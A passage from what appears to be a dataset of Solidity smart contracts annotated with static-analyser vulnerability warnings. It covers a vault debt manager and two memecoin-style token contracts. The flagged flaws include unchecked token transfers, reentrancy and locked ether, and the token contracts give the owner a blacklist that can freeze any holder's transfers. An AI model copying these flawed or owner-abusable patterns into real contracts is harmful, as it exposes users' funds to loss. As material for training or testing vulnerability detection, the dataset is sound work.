a zerocheck on \t vault = _vault\n\t// Recommendation for 1b54eed: Check that the address is not zero.\n constructor(address _vault) {\n\t\t// missing-zero-check | ID: 1b54eed\n vault = _vault;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 980a934): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 980a934: Remove the 'payable' attribute or add a withdraw function.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ac31f9c): AeraVaultDebtManager.setManualAllocator(address)._manualAllocator lacks a zerocheck on \t manualAllocator = _manualAllocator\n\t// Recommendation for ac31f9c: Check that the address is not zero.\n function setManualAllocator(\n address _manualAllocator\n ) external payable onlyOwner {\n\t\t// missing-zero-check | ID: ac31f9c\n manualAllocator = _manualAllocator;\n\n emit SetManualAllocator(_manualAllocator);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 980a934): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 980a934: Remove the 'payable' attribute or add a withdraw function.\n function addStrategy(address _strategy) external payable onlyOwner {\n uint256 strategyCount = _strategies.length;\n\n for (uint256 i; i < strategyCount; ++i) {\n if (_strategies[i] == _strategy) return;\n }\n\n _strategies.push(_strategy);\n\n strategyAvails[_strategy] = true;\n\n emit AddStrategy(_strategy);\n }\n\n function removeStrategy(address _strategy) external {\n if (msg.sender != owner()) revert AG_CALLER_NOT_ADMIN();\n\n uint256 strategyCount = _strategies.length;\n\n for (uint256 i; i < strategyCount; ++i) {\n if (_strategies[i] == _strategy) {\n if (i != strategyCount - 1) {\n _strategies[i] = _strategies[strategyCount - 1];\n }\n\n _strategies.pop();\n\n delete strategyAvails[_strategy];\n\n emit RemoveStrategy(_strategy);\n\n return;\n }\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: eb74220): AeraVaultDebtManager.manualAllocation(AeraVaultDebtManager.StrategyAllocation[]) has external calls inside a loop debtShares = IERC20(position.strategy).balanceOf(aeraVault)\n\t// Recommendation for eb74220: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: c8d2195): AeraVaultDebtManager.manualAllocation(AeraVaultDebtManager.StrategyAllocation[]) has external calls inside a loop debtAmount = IERC4626(position.strategy).convertToAssets(debtShares)\n\t// Recommendation for c8d2195: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 980a934): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 980a934: Remove the 'payable' attribute or add a withdraw function.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 3d724b2): AeraVaultDebtManager.manualAllocation(AeraVaultDebtManager.StrategyAllocation[]).feeTotal is a local variable never initialized\n\t// Recommendation for 3d724b2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function manualAllocation(\n StrategyAllocation[] memory _newPositions\n ) external payable {\n if (msg.sender != manualAllocator) revert AG_NOT_MANUAL_ALLOCATOR();\n\n address aeraVault = IAeraStrategy(vault).vaultAera();\n\n Operation[] memory operations;\n\n unchecked {\n uint256 feeTotal;\n\n uint256 strategyLength = _newPositions.length;\n\n operations = new Operation[](strategyLength);\n\n if (\n IAeraVault(aeraVault).fee() > 0 &&\n IAeraVault(aeraVault).feeRecipient() == address(this)\n ) {\n IAssetRegistry assetRegistry = IAeraVault(aeraVault)\n .assetRegistry();\n\n IERC20 feeToken = assetRegistry.feeToken();\n\n uint256 beforeFeeBalance = feeToken.balanceOf(address(this));\n\n IAeraVault(aeraVault).claim();\n\n feeTotal =\n IAeraVault(aeraVault).feeTotal() +\n feeToken.balanceOf(address(this)) -\n beforeFeeBalance;\n }\n\n for (uint256 i; i < strategyLength; ++i) {\n StrategyAllocation memory position = _newPositions[i];\n\n\t\t\t\t// calls-loop | ID: eb74220\n uint256 debtShares = IERC20(position.strategy).balanceOf(\n aeraVault\n );\n\n\t\t\t\t// calls-loop | ID: c8d2195\n uint256 debtAmount = IERC4626(position.strategy)\n .convertToAssets(debtShares);\n\n operations[i].target = position.strategy;\n\n if (debtAmount > position.debt) {\n operations[i].data = abi.encodeCall(\n IERC4626.withdraw,\n (debtAmount - position.debt, aeraVault, aeraVault)\n );\n } else {\n uint256 depositAmount = position.debt - debtAmount;\n\n if (feeTotal > 0 && depositAmount > feeTotal) {\n depositAmount -= feeTotal;\n\n feeTotal = 0;\n }\n\n operations[i].data = abi.encodeCall(\n IERC4626.deposit,\n (depositAmount, aeraVault)\n );\n }\n }\n }\n\n if (operations.length == 0) revert AG_INVALID_ALLOCATION();\n\n IAeraVault(aeraVault).submit(operations);\n }\n\n function getStrategies() external view returns (address[] memory) {\n return _strategies;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 7be6b82): AeraVaultDebtManager.withdraw(address,address,uint256) ignores return value by IERC20(_token).transfer(_to,tokenAmount)\n\t// Recommendation for 7be6b82: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdraw(\n address _to,\n address _token,\n uint256 _balance\n ) external onlyOwner {\n uint256 tokenAmount = _balance;\n\n if (_balance == 0) {\n tokenAmount = IERC20(_token).balanceOf(address(this));\n }\n\n\t\t// unchecked-transfer | ID: 7be6b82\n IERC20(_token).transfer(_to, tokenAmount);\n }\n}\n",
"file_name": "solidity_code_10804.sol",
"size_bytes": 26586,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract $SATOSHIBA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 52328ff): $SATOSHIBA._taxWallet should be immutable \n\t// Recommendation for 52328ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9495e9d): $SATOSHIBA._initialBuyTax should be constant \n\t// Recommendation for 9495e9d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b2e295): $SATOSHIBA._initialSellTax should be constant \n\t// Recommendation for 3b2e295: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3ff245): $SATOSHIBA._reduceBuyTaxAt should be constant \n\t// Recommendation for b3ff245: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 340f4b7): $SATOSHIBA._reduceSellTaxAt should be constant \n\t// Recommendation for 340f4b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae73b99): $SATOSHIBA._preventSwapBefore should be constant \n\t// Recommendation for ae73b99: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SATOSHIBA\";\n\n string private constant _symbol = unicode\"$SATOSHIBA\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6fbec3): $SATOSHIBA._taxSwapThreshold should be constant \n\t// Recommendation for a6fbec3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5121ae9): $SATOSHIBA._maxTaxSwap should be constant \n\t// Recommendation for 5121ae9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x98A32342Baeaa4507A033C3872d9c1Bb3C090f00);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2ec94d5): $SATOSHIBA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2ec94d5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b16b01): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b16b01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dbc2980): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dbc2980: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1b16b01\n\t\t// reentrancy-benign | ID: dbc2980\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1b16b01\n\t\t// reentrancy-benign | ID: dbc2980\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af5e120): $SATOSHIBA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af5e120: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dbc2980\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1b16b01\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6839013): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6839013: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cceb06d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cceb06d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6839013\n\t\t\t\t// reentrancy-eth | ID: cceb06d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6839013\n\t\t\t\t\t// reentrancy-eth | ID: cceb06d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cceb06d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cceb06d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cceb06d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6839013\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cceb06d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cceb06d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6839013\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6839013\n\t\t// reentrancy-events | ID: 1b16b01\n\t\t// reentrancy-benign | ID: dbc2980\n\t\t// reentrancy-eth | ID: cceb06d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6839013\n\t\t// reentrancy-events | ID: 1b16b01\n\t\t// reentrancy-eth | ID: cceb06d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f482cc5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f482cc5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2fc2bcc): $SATOSHIBA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2fc2bcc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7b5fcec): $SATOSHIBA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7b5fcec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0cbda1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0cbda1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f482cc5\n\t\t// reentrancy-eth | ID: 0cbda1e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f482cc5\n\t\t// unused-return | ID: 7b5fcec\n\t\t// reentrancy-eth | ID: 0cbda1e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f482cc5\n\t\t// unused-return | ID: 2fc2bcc\n\t\t// reentrancy-eth | ID: 0cbda1e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f482cc5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0cbda1e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10805.sol",
"size_bytes": 19934,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DONE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1df36c8): DONE._taxWallet should be immutable \n\t// Recommendation for 1df36c8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 725131a): DONE._initialBuyTax should be constant \n\t// Recommendation for 725131a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c24ec1): DONE._initialSellTax should be constant \n\t// Recommendation for 3c24ec1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 56eae6b): DONE._reduceBuyTaxAt should be constant \n\t// Recommendation for 56eae6b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4da150d): DONE._reduceSellTaxAt should be constant \n\t// Recommendation for 4da150d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e704c7a): DONE._preventSwapBefore should be constant \n\t// Recommendation for e704c7a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Department Of Nighttime Erections\";\n\n string private constant _symbol = unicode\"D.O.N.E\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3125294): DONE._taxSwapThreshold should be constant \n\t// Recommendation for 3125294: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: aba5067): DONE._maxTaxSwap should be constant \n\t// Recommendation for aba5067: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private transferDelayEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4416887): DONE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4416887: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce75270): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ce75270: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8964a9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// 